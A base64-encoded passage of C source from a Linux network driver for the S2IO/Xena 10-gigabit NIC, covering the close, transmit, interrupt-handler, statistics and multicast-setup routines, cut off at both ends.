ZGV2aWNlIHBvaW50ZXIuCiAqICBSZXR1cm4gdmFsdWU6CiAqICBTVUNDRVNTIG9uIHN1Y2Nlc3Mg YW5kIGFuIGFwcHJvcHJpYXRlICgtKXZlIGludGVnZXIgYXMgZGVmaW5lZCBpbiBlcnJuby5oCiAq ICBmaWxlIG9uIGZhaWx1cmUuCiAqICBEZXNjcmlwdGlvbjoKICogIFRoaXMgaXMgdGhlIHN0b3Ag ZW50cnkgcG9pbnQgb2YgdGhlIGRyaXZlci4gSXQgbmVlZHMgdG8gdW5kbyBleGFjdGx5CiAqICB3 aGF0ZXZlciB3YXMgZG9uZSBieSB0aGUgb3BlbiBlbnRyeSBwb2ludCwgdGh1cyBpdCdzIHVzdWFs bHkgcmVmZXJyZWQgdG8KICogIGFzIHRoZSBjbG9zZSBmdW5jdGlvbi4gQW1vbmcgb3RoZXIgdGhp bmdzIHRoaXMgZnVuY3Rpb24gbWFpbmx5IHN0b3BzIHRoZQogKiAgUnggc2lkZSBvZiB0aGUgTklD IGFuZCBmcmVlcyBhbGwgdGhlIFJ4IGJ1ZmZlcnMgaW4gdGhlIFJ4IHJpbmdzLgogKi8KaW50IHMy aW9fY2xvc2Uoc3RydWN0IG5ldF9kZXZpY2UgKmRldikKewoJbmljX3QgKnNwID0gKG5pY190ICop ZGV2LT5wcml2OwoJWEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAoWEVOQV9kZXZfY29uZmlnX3Qg KilzcC0+YmFyMDsKCXJlZ2lzdGVyIHU2NCB2YWw2NCA9IDA7Cgl1MTYgY250PTA7CgoJc3Bpbl9s b2NrKCZzcC0+aXNyX2xvY2spOwoJbmV0aWZfc3RvcF9xdWV1ZShkZXYpOwoKLyogZGlzYWJsZSBU eCBhbmQgUnggdHJhZmZpYyBvbiB0aGUgTklDICovCglzdG9wTmljKHNwKTsKCi8qIElmIHRoZSBk ZXZpY2UgdGFza2xldCBpcyBydW5uaW5nLCB3YWl0IHRpbGwgaXRzIGRvbmUgYmVmb3JlIGtpbGxp bmcgaXQgKi8KCXdoaWxlKGF0b21pY19yZWFkKCYoc3AtPnRhc2tsZXRfc3RhdHVzKSkpIHsKCQlt ZGVsYXkoMTAwKTsKCX0KCXRhc2tsZXRfa2lsbCgmc3AtPnRhc2spOwoKLyogQ2hlY2sgaWYgdGhl IGRldmljZSBpcyBRdWllc2NlbnQgYW5kIHRoZW4gUmVzZXQgdGhlIE5JQyAqLwoJZG8gewoJCXZh bDY0ID0gcmVhZDY0KCZiYXIwLT5hZGFwdGVyX3N0YXR1cyk7CgkJaWYodmVyaWZ5X3hlbmFfcXVp ZXNjZW5jZSh2YWw2NCwgc3AtPmRldmljZV9lbmFibGVkX29uY2UpIAoJCQkJPT0gVFJVRSkgewkJ CgkJCWJyZWFrOwoJCX0KCQltZGVsYXkoNTApOwoJCWNudCsrOwoJCWlmKGNudCA9PSAxMCkgewoJ CQkjaWZkZWYgWEVOQV9BUkNIXzY0CgkJCURCR19QUklOVChFUlJfREJHLCJzMmlvX2Nsb3NlOkRl dmljZSBub3QgUXVpZXNjZW50ICIpOwoJCQlEQkdfUFJJTlQoRVJSX0RCRywiYWRhcGVyIHN0YXR1 cyByZWFkcyAweCVseFxuIix2YWw2NCk7CgkJCSNlbHNlCgkJCURCR19QUklOVChFUlJfREJHLCJz MmlvX2Nsb3NlOkRldmljZSBub3QgUXVpZXNjZW50ICIpOwoJCQlEQkdfUFJJTlQoRVJSX0RCRywi YWRhcGVyIHN0YXR1cyByZWFkcyAweCVsbHhcbiIsdmFsNjQpOwoJCQkjZW5kaWYKCQkJYnJlYWs7 CgkJfQoJfXdoaWxlKDEpOwoJczJpb19yZXNldChzcCk7CgkKLyogIEZyZWUgdGhlIFJlZ2lzdGVy ZWQgSVJRICovCglmcmVlX2lycShkZXYtPmlycSxkZXYpOwoKLyogRnJlZSBhbGwgVHggQnVmZmVy cyB3YWl0aW5nIGZvciB0cmFuc21pc3Npb24gKi8KCWZyZWVUeEJ1ZmZlcnMoc3ApOwoKLyogIEZy ZWUgYWxsIFJ4IGJ1ZmZlcnMgYWxsb2NhdGVkIGJ5IGhvc3QgKi8KCWZyZWVSeEJ1ZmZlcnMoc3Ap OwoKCXNwLT5kZXZpY2VfY2xvc2VfZmxhZyA9IFRSVUU7IC8qIERldmljZSBpcyBzaHV0IGRvd24u ICovCgkvL01PRF9ERUNfVVNFX0NPVU5UOwoKCXNwaW5fdW5sb2NrKCZzcC0+aXNyX2xvY2spOwoJ cmV0dXJuIFNVQ0NFU1M7Cn0KCi8qCiAqICBJbnB1dCBBcmd1bWVudC9zOiAKICogIHNrYiAtIHRo ZSBzb2NrZXQgYnVmZmVyIGNvbnRhaW5pbmcgdGhlIFR4IGRhdGEuCiAqICBkZXYgLSBkZXZpY2Ug cG9pbnRlci4KICogIFJldHVybiB2YWx1ZToKICogIGFsd2F5cyBTVUNDRVNTLiAKICogIE5PVEU6 IHdoZW4gZGV2aWNlIGNhbnQgcXVldWUgdGhlIHBrdCwganVzdCB0aGUgdHJhbnNfc3RhcnQgdmFy aWFibGUgd2lsbAogKiAgbm90IGJlIHVwYWR0ZWQuCiAqICBEZXNjcmlwdGlvbjoKICogIFRoaXMg ZnVuY3Rpb24gaXMgdGhlIFR4IGVudHJ5IHBvaW50IG9mIHRoZSBkcml2ZXIuIFMySU8gTklDIHN1 cHBvcnRzCiAqICBjZXJ0YWluIHByb3RvY29sIGFzc2lzdCBmZWF0dXJlcyBvbiBUeCBzaWRlLCBu YW1lbHkgIENTTywgUy9HLCBMU08uCiAqLwppbnQgczJpb194bWl0KHN0cnVjdCBza19idWZmICpz a2IsIHN0cnVjdCBuZXRfZGV2aWNlICpkZXYpCnsKCW5pY190ICpzcCA9IChuaWNfdCAqKWRldi0+ cHJpdjsKCXUxNiBvZmYsdHhkX2xlbixmcmdfY250LGZyZ19sZW4saSxxdWV1ZSxvZmYxOwoJcmVn aXN0ZXIgdTY0ICAgIHZhbDY0OwoJVHhEX3QgICAqdHhkcDsKCVR4RklGT19lbGVtZW50X3QgKnR4 X2ZpZm87CgkjaWZkZWYgTkVUSUZfRl9UU08KCWludCBtc3M7CgkjZW5kaWYKCglzcGluX2xvY2so JnNwLT50eF9sb2NrKTsKCglxdWV1ZSA9IDA7CiAgICAvKiBNdWx0aSBGSUZPIFR4IGlzIGRpc2Fi bGVkIGZvciBub3cuICovCglpZighcXVldWUgJiYgdHhfcHJpbykgewoJCXU4IHggPSAoc2tiLT5k YXRhKVs1XTsKCQlxdWV1ZSA9IHggJSBzcC0+Y29uZmlnLlR4RklGT051bTsKCX0JCQoKCglvZmYg PSAodTE2KXNwLT5tYWNfY29udHJvbC50eF9jdXJyX3B1dF9pbmZvW3F1ZXVlXS5vZmZzZXQ7Cglv ZmYxID0gKHUxNilzcC0+bWFjX2NvbnRyb2wudHhfY3Vycl9nZXRfaW5mb1txdWV1ZV0ub2Zmc2V0 OwoJdHhkX2xlbiA9IHNwLT5tYWNfY29udHJvbC50eGRsX2xlbjsKCXR4ZHAgPSBzcC0+bWFjX2Nv bnRyb2wudHhkbF9zdGFydFtxdWV1ZV0gKyAoc3AtPmNvbmZpZy5NYXhUeERzKiBvZmYpOwoKCS8q IEF2b2lkICJwdXQiIHBvaW50ZXIgZ29pbmcgYmV5b25kICJnZXQiIHBvaW50ZXIgKi8KCWlmICgo dHhkcC0+SG9zdF9Db250cm9sKSB8fAoJICAgKCgob2ZmKzEpICUgKHNwLT5tYWNfY29udHJvbC50 eF9jdXJyX3B1dF9pbmZvW3F1ZXVlXS5maWZvX2xlbisxKSkgPT0gb2ZmMSkpIHsKCQlwcmludGso IiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIik7CgkJ cHJpbnRrKCJObyBmcmVlIFRYRHMgZm9yIG5vdywgcHV0OiAweCV4LCBnZXQ6MHgleFxuIixvZmYs b2ZmMSk7CgkJcHJpbnRrKCIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyNcbiIpOwoJCWdvdG8gbm9fdHhkOwoJfQoKCSNpZmRlZiBORVRJRl9GX1RTTwoJbXNz ID0gc2tiX3NoaW5mbyhza2IpLT50c29fc2l6ZTsKCWlmKG1zcykgewoJCXR4ZHAtPkNvbnRyb2xf MSB8PSBUWERfVENQX0xTT19FTjsKCQl0eGRwLT5Db250cm9sXzEgfD0gVFhEX1RDUF9MU09fTVNT KG1zcyk7Cgl9CgkjZW5kaWYKCglmcmdfY250ID0gc2tiX3NoaW5mbyhza2IpLT5ucl9mcmFnczsK CWZyZ19sZW4gPSBza2ItPmxlbiAtIHNrYi0+ZGF0YV9sZW47CgoJdHhkcC0+SG9zdF9Db250cm9s ID0gKGRtYWFkZHJfdClza2I7Cgl0eGRwLT5CdWZmZXJfUG9pbnRlciA9IHBjaV9tYXBfc2luZ2xl CgkJKHNwLT5wZGV2LCBza2ItPmRhdGEsIGZyZ19sZW4sIFBDSV9ETUFfVE9ERVZJQ0UpOwoJaWYo c2tiLT5pcF9zdW1tZWQgPT0gQ0hFQ0tTVU1fSFcpIHsKCQl0eGRwLT5Db250cm9sXzIgfD0gKFRY RF9UWF9DS09fSVBWNF9FTiB8IFRYRF9UWF9DS09fVENQX0VOIHwKCQlUWERfVFhfQ0tPX1VEUF9F Tik7Cgl9Cgl0eGRwLT5Db250cm9sXzIgfD0gVFhEX0lOVF9UWVBFX1VUSUxaOwoKLyogIFRoZSBO SUMgaXMgbWFkZSB0aGUgb3duZXIgb2YgdGhlIFR4REwgKi8KCXR4ZHAtPkNvbnRyb2xfMSB8PSAo VFhEX0JVRkZFUjBfU0laRShmcmdfbGVuKSB8CgkJVFhEX0dBVEhFUl9DT0RFX0ZJUlNUKTsgCgl0 eGRwLT5Db250cm9sXzEgfD0gVFhEX0xJU1RfT1dOX1hFTkE7CgovKiBJZiB0aGUgU0tCIGlzIGZy YWdtZW50ZWQsIGVhY2ggZnJhZ21lbnQgaXMgcHV0IGludG8gYSBuZXcgVHggYnVmZmVyLiAqLwoJ Zm9yKGk9MDtpPGZyZ19jbnQ7aSsrKSB7CgkJc2tiX2ZyYWdfdCAqZnJhZyA9ICZza2Jfc2hpbmZv KHNrYiktPmZyYWdzW2ldOwoJCXR4ZHArKzsKCQl0eGRwLT5CdWZmZXJfUG9pbnRlciA9IHBjaV9t YXBfc2luZ2xlCgkJKHNwLT5wZGV2LCBwYWdlX2FkZHJlc3MoZnJhZy0+cGFnZSkrZnJhZy0+cGFn ZV9vZmZzZXQsIAoJCQlmcmFnLT5zaXplLCBQQ0lfRE1BX1RPREVWSUNFKTsKCQl0eGRwLT5Db250 cm9sXzEgfD0gVFhEX0JVRkZFUjBfU0laRShmcmFnLT5zaXplKTsKCX0KCXR4ZHAtPkNvbnRyb2xf MSB8PSBUWERfR0FUSEVSX0NPREVfTEFTVDsKCi8qIFRvIFVwZGF0ZSB0aGUgVHhETCBwb2ludGVy IGludG8gdGhlIFhFTkEgbmljLiAqLwoJdHhfZmlmbyA9IHNwLT5tYWNfY29udHJvbC50eF9GSUZP X3N0YXJ0W3F1ZXVlXTsKCXZhbDY0PShzcC0+bWFjX2NvbnRyb2wudHhkbF9zdGFydF9waHlbcXVl dWVdKwoJCQkoc2l6ZW9mKFR4RF90KSp0eGRfbGVuKm9mZikpOwoJd3JpdGU2NCgmdHhfZmlmby0+ VHhETF9Qb2ludGVyLCB2YWw2NCk7CgoJdmFsNjQgPSAoVFhfRklGT19MQVNUX1RYRF9OVU0oZnJn X2NudCkgfCBUWF9GSUZPX0ZJUlNUX0xJU1QgfAoJCVRYX0ZJRk9fTEFTVF9MSVNUKTsKCSNpZmRl ZiBORVRJRl9GX1RTTwoJaWYobXNzKQoJCXZhbDY0IHw9IFRYX0ZJRk9fU1BFQ0lBTF9GVU5DOwoJ I2VuZGlmCgl3cml0ZTY0KCZ0eF9maWZvLT5MaXN0X0NvbnRyb2wsIHZhbDY0KTsKCi8qSW5jcmVt ZW50aW5nIG9mZnNldCAqLwoJb2ZmKys7CglvZmYgJT0gc3AtPm1hY19jb250cm9sLnR4X2N1cnJf cHV0X2luZm9bcXVldWVdLmZpZm9fbGVuKzE7CglzcC0+bWFjX2NvbnRyb2wudHhfY3Vycl9wdXRf aW5mb1txdWV1ZV0ub2Zmc2V0ID0gb2ZmOwoKLyogVXBkYXRlIHRoZSB0aW1lIHdoZW4gdGhlIGxh c3QgVHggaGFwcGVuZWQgKi8KCWRldi0+dHJhbnNfc3RhcnQgPSBqaWZmaWVzOwoKCXNwaW5fdW5s b2NrKCZzcC0+dHhfbG9jayk7CnJldHVybiBTVUNDRVNTOwoKLyoKICogSWYgbm8gZnJlZSBidWZm ZXJzIGFyZSBhdmFpbGFibGUgaW4gYW55IG9mIHRoZSBGSUZPUywgd2UgCiAqIHNhdmUgdGhlIFNL QiBhbmQgc3RvcCB0aGUgVHggcXVldWUuIFNvIGlmIHRoZSBxdWV1ZSBpcyBub3QKICogc3RhcnRl ZCBhZ2FpbiB3aXRoaW4gdGhlIHRpbWVvdXQgcGVyaW9kLCB0aGUgd2F0Y2ggZG9nIHRpbWVyCiAq IHdpbGwgc2hlZHVsZSBhIHRpbWVyIGZ1bmN0aW9uIHdoaWNoIGRvZXMgdGhlIG5lY2Vzc2FyeSBj bGVhbnVwCiAqIGFuZCByZXN0YXJ0IHRoZSBkZXZpY2UuIFRoZSB0aW1lb3V0IHBlcmlvZCBpcyA1 IHNlY3MuIFNvIGlmIHRoZSAKICogVHggcXVldWUgaXMgbm90IGNsZWFuZWQgdXAgd2l0aGluIHRo aXMgZHVyYXRpb24sIHRoZSBkZXZpY2UgaXMgCiAqIGRlZm5pdGVseSBzdHVjayBpbiBzb21lIGlu dGVybmFsIGxvb3AsIGhlbmNlIHdlIGZvcmNlIGEgcmVzZXQgb24KICogdGhlIE5JQyBhbmQgcmVz dGFydCBpdC4gIAogKi8Kbm9fdHhkOgoJLy9zcC0+dHhfcGt0X3B0ciA9IHNrYjsKCXByaW50aygi UXVldWUgZnVsbCBjb25kaXRpb25cbiIpOwoJbmV0aWZfc3RvcF9xdWV1ZShkZXYpOwoKCXNwaW5f dW5sb2NrKCZzcC0+dHhfbG9jayk7CnJldHVybiAxOwp9CgovKgogKiAgSW5wdXQgQXJndW1lbnQv czogCiAqICBpcnE6IHRoZSBpcnEgb2YgdGhlIGRldmljZS4KICogIGRldl9pZDogYSB2b2lkIHBv aW50ZXIgdG8gdGhlIGRldiBzdHJ1Y3R1cmUgb2YgdGhlIE5JQy4KICogIHB0cmVnczogcG9pbnRl ciB0byB0aGUgcmVnaXN0ZXJzIHB1c2hlZCBvbiB0aGUgc3RhY2suCiAqICBSZXR1cm4gdmFsdWU6 CiAqICB2b2lkLgogKiAgRGVzY3JpcHRpb246CiAqICBUaGlzIGZ1bmN0aW9uIGlzIHRoZSBJU1Ig aGFuZGxlciBvZiB0aGUgZGV2aWNlLiBJdCBpZGVudGlmaWVzIHRoZSByZWFzb24gCiAqICBmb3Ig dGhlIGludGVycnVwdCBhbmQgY2FsbHMgdGhlIHJlbGV2YW50IHNlcnZpY2Ugcm91dGluZXMuCiAq ICBBcyBhIGNvbnRvbmdlbmN5IG1lYXN1cmUsIHRoaXMgSVNSIGFsbG9jYXRlcyB0aGUgcmVjdiBi dWZmZXJzLCBpZiB0aGVpciAKICogIG51bWJlcnMgYXJlIGJlbG93IHRoZSBwYW5pYyB2YWx1ZSB3 aGljaCBpcyBwcmVzZW50bHkgc2V0IHRvIDI1JSBvZiB0aGUKICogIG9yaWdpbmFsIG51bWJlciBv ZiByY3YgYnVmZmVycyBhbGxvY2F0ZWQuCiAqLwoKI2lmZGVmIEtFUk5fMjYKc3RhdGljIGlycXJl dHVybl90IHMyaW9faXNyKGludCBpcnEsIHZvaWQgKmRldl9pZCwgc3RydWN0IHB0X3JlZ3MgKnJl Z3MpCiNlbHNlCnZvaWQgczJpb19pc3IoaW50IGlycSwgdm9pZCAqZGV2X2lkLCBzdHJ1Y3QgcHRf cmVncyAqcmVncykKI2VuZGlmCnsKCXN0cnVjdCBuZXRfZGV2aWNlICpkZXYgPSAoc3RydWN0IG5l dF9kZXZpY2UgKilkZXZfaWQ7CgluaWNfdCAqc3AgPSAobmljX3QgKilkZXYtPnByaXY7CglYRU5B X2Rldl9jb25maWdfdCAqYmFyMCA9IChYRU5BX2Rldl9jb25maWdfdCAqKXNwLT5iYXIwOwoJI2lm bmRlZiBDT05GSUdVUkVfTkFQSV9TVVBQT1JUCglpbnQgaSxyZXQ7CgkjZW5kaWYKCXU2NCByZWFz b24gPSAwLCBnZW5lcmFsX21hc2sgPSAwOwoJdW5zaWduZWQgbG9uZyBmbGFnczsKCglzcGluX2xv Y2tfaXJxc2F2ZSgmc3AtPmlzcl9sb2NrLCBmbGFncyk7CgkKLyogSWRlbnRpZnkgdGhlIGNhdXNl IGZvciBpbnRlcnJ1cHQgYW5kIGNhbGwgdGhlIGFwcHJvcHJpYXRlCiAqIGludGVycnVwdCBoYW5k bGVyLiBDYXVzZXMgZm9yIHRoZSBpbnRlcnJ1cHQgY291bGQgYmU7CiAqIDEuIFJ4IG9mIHBhY2tl dC4KICogMi4gVHggY29tcGxldGUuCiAqIDMuIExpbmsgZG93bi4KICogNC4gRXJyb3IgaW4gYW55 IGZ1bmN0aW9uYWwgYmxvY2tzIG9mIHRoZSBOSUMuIAogKi8KCXJlYXNvbiA9IHJlYWQ2NCgmYmFy MC0+Z2VuZXJhbF9pbnRfc3RhdHVzKTsKCglpZighcmVhc29uKSB7CgkvKiBUaGUgaW50ZXJydXB0 IHdhcyBub3QgcmFpc2VkIGJ5IFhlbmEuICovCgkJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmc3At Pmlzcl9sb2NrLCBmbGFncyk7CgkJI2lmZGVmIEtFUk5fMjYKCQlyZXR1cm4gSVJRX05PTkU7CgkJ I2Vsc2UKCQlyZXR1cm47CgkJI2VuZGlmCgl9CgkvKiBNYXNrIHRoZSBpbnRlcnJ1cHRzIG9uIHRo ZSBOSUMgKi8KCWdlbmVyYWxfbWFzayA9IHJlYWQ2NCgmYmFyMC0+Z2VuZXJhbF9pbnRfbWFzayk7 Cgl3cml0ZTY0KCZiYXIwLT5nZW5lcmFsX2ludF9tYXNrLCAweEZGRkZGRkZGRkZGRkZGRkZVTEwp OwoKI2lmIERFQlVHX09OCglzcC0+aW50X2NudCsrOwojZW5kaWYKCi8qIElmIEludHIgaXMgYmVj YXVzZSBvZiBUeCBUcmFmZmljICovCglpZihyZWFzb24gJiBHRU5fSU5UUl9UWFRSQUZGSUMpCgkJ dHhJbnRySGFuZGxlcihzcCk7CgovKiBJZiBJbnRyIGlzIGJlY2F1c2Ugb2YgTGluayBzdGF0dXMg Y2hhbmdlIG9yIGVycm9yICovCglpZihyZWFzb24gJiAoR0VOX0VSUk9SX0lOVFIpKSAKCQlhbGFy bUludHJIYW5kbGVyKHNwKTsKCiNpZmRlZiBDT05GSUdVUkVfTkFQSV9TVVBQT1JUCglpZihyZWFz b24gJiBHRU5fSU5UUl9SWFRSQUZGSUMpIHsgCgkJaWYobmV0aWZfcnhfc2NoZWR1bGVfcHJlcChk ZXYpKSB7CgkJCWVuX2Rpc19hYmxlX05pY0ludHJzKHNwLFJYX1RSQUZGSUNfSU5UUixESVNBQkxF X0lOVFJTKTsJCgkvKiBXZSByZXRha2UgdGhlIHNuYXAgc2hvdCBvZiB0aGUgZ2VuZXJhbCBpbnRl cnJ1cHQgcmVnaXN0ZXIuICovCgkJCWdlbmVyYWxfbWFzayA9IHJlYWQ2NCgmYmFyMC0+Z2VuZXJh bF9pbnRfbWFzayk7CgkJCV9fbmV0aWZfcnhfc2NoZWR1bGUoZGV2KTsKCQl9Cgl9CiNlbHNlCgkv KiBJZiBJbnRyIGlzIGJlY2F1c2Ugb2YgUnggVHJhZmZpYyAqLwoJaWYocmVhc29uICYgR0VOX0lO VFJfUlhUUkFGRklDKSAKCQlyeEludHJIYW5kbGVyKHNwKTsKI2VuZGlmCgovKiBJZiB0aGUgUngg YnVmZmVyIGNvdW50IGlzIGJlbG93IHRoZSBwYW5pYyB0aHJlc2hvbGQgdGhlbiByZWFsbG9jYXRl IHRoZQogKiBidWZmZXJzIGZyb20gdGhlIGludGVycnVwdCBoYW5kbGVyIGl0c2VsZiwgZWxzZSBz Y2hlZHVsZSBhIHRhc2tsZXQgdG8gCiAqIHJlYWxsb2NhdGUgdGhlIGJ1ZmZlcnMuCiAqLwojaWYg MQoJZm9yKGk9MDtpPHNwLT5jb25maWcuUnhSaW5nTnVtO2krKykgewoJCWludCByeGJfc2l6ZSA9 IGF0b21pY19yZWFkKCZzcC0+cnhfYnVmc19sZWZ0W2ldKTsKCQlpbnQgbGV2ZWwgPSByeF9idWZm ZXJfbGV2ZWwoc3AsIHJ4Yl9zaXplLGkpOwoJCQoJCWlmKChsZXZlbCA9PSBQQU5JQykgJiYgKCFU QVNLTEVUX0lOX1VTRSkpIHsKCQkJREJHX1BSSU5UKEVSUl9EQkcsIiVzOiBSeCBCRCBoaXQgIixk ZXYtPm5hbWUpOwoJCQlEQkdfUFJJTlQoRVJSX0RCRywiUEFOSUMgbGV2ZWxzXG4iKTsKICAgICAg ICAgICAgICAgIAlpZigocmV0ID0gZmlsbF9yeF9idWZmZXJzKHNwLGkpKSA9PSAtRU5PTUVNKSB7 CiAgICAgICAgICAgICAgICAgICAgICAgIAlEQkdfUFJJTlQoRVJSX0RCRywiJXM6T3V0IG9mIG1l bW9yeSIsZGV2LT5uYW1lKTsKCQkJCURCR19QUklOVChFUlJfREJHLCIgaW4gSVNSISFcbiIpOwog ICAgCQkJCXdyaXRlNjQoJmJhcjAtPmdlbmVyYWxfaW50X21hc2ssIGdlbmVyYWxfbWFzayk7CgkJ CQlzcGluX3VubG9ja19pcnFyZXN0b3JlKCZzcC0+aXNyX2xvY2ssIGZsYWdzKTsKCQkJCSNpZmRl ZiBLRVJOXzI2CgkJCQlyZXR1cm4gLUVOT01FTTsKCQkJCSNlbHNlCgkgICAgICAgICAgICAJICAg ICAgICByZXR1cm47CgkJCQkjZW5kaWYJCQoJCQl9CiAgICAgICAgICAgICAgICAJY2xlYXJfYml0 KDAsKHVuc2lnbmVkIGxvbmcgKikoJnNwLT50YXNrbGV0X3N0YXR1cykpOwoJCX0gZWxzZSBpZigo bGV2ZWw9PUxPVykgJiYgKCFhdG9taWNfcmVhZCgmc3AtPnRhc2tsZXRfc3RhdHVzKSkpewoJCQl0 YXNrbGV0X3NjaGVkdWxlKCZzcC0+dGFzayk7CgkJfQoJCQoJfQojZWxzZQoJdGFza2xldF9zY2hl ZHVsZSgmc3AtPnRhc2spOwojZW5kaWYKCi8qIFVubWFzayBhbGwgdGhlIHByZXZpb3VzbHkgZW5h YmxlZCBpbnRlcnJ1cHRzIG9uIHRoZSBOSUMgKi8KCXdyaXRlNjQoJmJhcjAtPmdlbmVyYWxfaW50 X21hc2ssIGdlbmVyYWxfbWFzayk7CgoJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmc3AtPmlzcl9s b2NrLCBmbGFncyk7CgkjaWZkZWYgS0VSTl8yNgoJcmV0dXJuIElSUV9IQU5ETEVEOwoJI2VuZGlm Cn0KCi8qCiAqICBJbnB1dCBBcmd1bWVudC9zOiAKICogIGRldiAtIHBvaW50ZXIgdG8gdGhlIGRl dmljZSBzdHJ1Y3R1cmUuCiAqICBSZXR1cm4gdmFsdWU6CiAqICBwb2ludGVyIHRvIHRoZSB1cGRh dGVkIG5ldF9kZXZpY2Vfc3RhdHMgc3RydWN0dXJlLgogKiAgRGVzY3JpcHRpb246CiAqICBUaGlz IGZ1bmN0aW9uIHVwZGF0ZXMgdGhlIGRldmljZSBzdGF0aXN0aWNzIHN0cnVjdHVyZSBpbiB0aGUg czJpb19uaWMgCiAqICBzdHJ1Y3R1cmUgYW5kIHJldHVybnMgYSBwb2ludGVyIHRvIHRoZSBzYW1l LgogKi8Kc3RydWN0IG5ldF9kZXZpY2Vfc3RhdHMgKnMyaW9fZ2V0X3N0YXRzKHN0cnVjdCBuZXRf ZGV2aWNlICpkZXYpCnsKCW5pY190ICpzcCA9IChuaWNfdCAqKWRldi0+cHJpdjsKCglzcC0+c3Rh dHMudHhfZXJyb3JzID0gc3AtPm1hY19jb250cm9sLlN0YXRzSW5mby0+dG1hY19hbnlfZXJyX2Zy bXM7CglzcC0+c3RhdHMucnhfZXJyb3JzID0gc3AtPm1hY19jb250cm9sLlN0YXRzSW5mby0+cm1h Y19kcm9wX2ZybXM7CglzcC0+c3RhdHMubXVsdGljYXN0ID0gc3AtPm1hY19jb250cm9sLlN0YXRz SW5mby0+cm1hY192bGRfbWNzdF9mcm1zOwoJc3AtPnN0YXRzLnJ4X2xlbmd0aF9lcnJvcnMgPSBz cC0+bWFjX2NvbnRyb2wuU3RhdHNJbmZvLT5ybWFjX2xvbmdfZnJtczsKCglyZXR1cm4gKCZzcC0+ c3RhdHMpOwp9CgovKgogKiAgSW5wdXQgQXJndW1lbnQvczogCiAqICBkZXYgLSBwb2ludGVyIHRv IHRoZSBkZXZpY2Ugc3RydWN0dXJlCiAqICBSZXR1cm4gdmFsdWU6CiAqICB2b2lkLgogKiAgRGVz Y3JpcHRpb246CiAqICBUaGlzIGZ1bmN0aW9uIGlzIGEgZHJpdmVyIGVudHJ5IHBvaW50IHdoaWNo IGdldHMgY2FsbGVkIGJ5IHRoZSBrZXJuZWwgCiAqICB3aGVuZXZlciBtdWx0aWNhc3QgYWRkcmVz c2VzIG11c3QgYmUgZW5hYmxlZC9kaXNhYmxlZC4gVGhpcyBhbHNvIGdldHMgCiAqICBjYWxsZWQg dG8gc2V0L3Jlc2V0IHByb21pc2N1b3VzIG1vZGUuIERlcGVuZGluZyBvbiB0aGUgZGVpdmNlIGZs YWcsIHdlCiAqICBkZXRlcm1pbmUsIGlmIG11bHRpY2FzdCBhZGRyZXNzIG11c3QgYmUgZW5hYmxl ZCBvciBpZiBwcm9taXNjdW91cyBtb2RlCiAqICBpcyB0byBiZSBkaXNhYmxlZCBldGMuCiAqLwp2 b2lkIHMyaW9fc2V0X211bHRpY2FzdChzdHJ1Y3QgbmV0X2RldmljZSAqZGV2KQp7CglpbnQgaSxq LHByZXZfY250OwoJc3RydWN0IGRldl9tY19saXN0ICptY2xpc3Q7CgluaWNfdCAqc3AgPSAobmlj X3QgKilkZXYtPnByaXY7CglYRU5BX2Rldl9jb25maWdfdCAqYmFyMCA9IChYRU5BX2Rldl9jb25m aWdfdCAqKXNwLT5iYXIwOwoJdTY0IHZhbDY0ID0gMCwgbXVsdGlfbWFjID0gMHgwMTAyMDMwNDA1 MDYsIG1hc2sgPSAweGZlZmZmZmZmZmZmZjsKCXU2NCBkaXNfYWRkciA9IDB4ZmZmZmZmZmZmZmZm LCBtYWNfYWRkciA9IDA7CgoJaWYoKGRldi0+ZmxhZ3MgJiBJRkZfQUxMTVVMVEkpICYmICghc3At Pm1fY2FzdF9mbGcpKSB7CgkvKiAgRW5hYmxlIGFsbCBNdWx0aWNhc3QgYWRkcmVzc2VzICovCgkJ d3JpdGU2NCgmYmFyMC0+cm1hY19hZGRyX2RhdGEwX21lbSwKCQkJCVJNQUNfQUREUl9EQVRBMF9N RU1fQUREUihtdWx0aV9tYWMpKTsKCQl3cml0ZTY0KCZiYXIwLT5ybWFjX2FkZHJfZGF0YTBfbWVt LAoJCQkJUk1BQ19BRERSX0RBVEEwX01FTV9BRERSKG1hc2spKTsKCgkJdmFsNjQgPSBSTUFDX0FE RFJfQ01EX01FTV9XRSB8IAoJCQlSTUFDX0FERFJfQ01EX01FTV9TVFJPQkVfTkVXX0NNRCB8CgkJ CVJNQUNfQUREUl9DTURfTUVNX09GRlNFVChNQUNfTUNfQUxMX01DX0FERFJfT0ZGU0VUKTsKCQl3 cml0ZTY0KCZiYXIwLT5ybWFjX2FkZHJfY21kX21lbSwgdmFsNjQpOwoJLyogV2FpdCB0aWxsIGNv bW1hbmQgY29tcGxldGVzICovCgkJd2FpdEZvckNtZENvbXBsZXRlKHNwKTsKCgkJc3AtPm1fY2Fz dF9mbGcgPSAxOwoJCXNwLT5hbGxfbXVsdGlfcG9zID0gTUFDX01DX0FMTF9NQ19BRERSX09GRlNF VDsKCQlyZXR1cm47Cgl9IGVsc2UgaWYoKGRldi0+ZmxhZ3MgJiBJRkZfQUxMTVVMVEkpJiYoc3At Pm1fY2FzdF9mbGcpKSB7CgkvKiAgRGlzYWJsZSBhbGwgTXVsdGljYXN0IGFkZHJlc3NlcyAqLwoJ CXdyaXRlNjQoJmJhcjAtPnJtYWNfYWRkcl9kYXRhMF9tZW0sCgkJCQlSTUFDX0FERFJfREFUQTBf TUVNX0FERFIoZGlzX2FkZHIpKTsKCgkJdmFsNjQgPSBSTUFDX0FERFJfQ01EX01FTV9XRSB8IAoJ CQlSTUFDX0FERFJfQ01EX01FTV9TVFJPQkVfTkVXX0NNRCB8CgkJCVJNQUNfQUREUl9DTURfTUVN X09GRlNFVChzcC0+YWxsX211bHRpX3Bvcyk7CgkJd3JpdGU2NCgmYmFyMC0+cm1hY19hZGRyX2Nt ZF9tZW0sIHZhbDY0KTsKCS8qIFdhaXQgdGlsbCBjb21tYW5kIGNvbXBsZXRlcyAqLwoJCXdhaXRG b3JDbWRDb21wbGV0ZShzcCk7CgoJCXNwLT5tX2Nhc3RfZmxnID0gMDsKCQlzcC0+YWxsX211bHRp 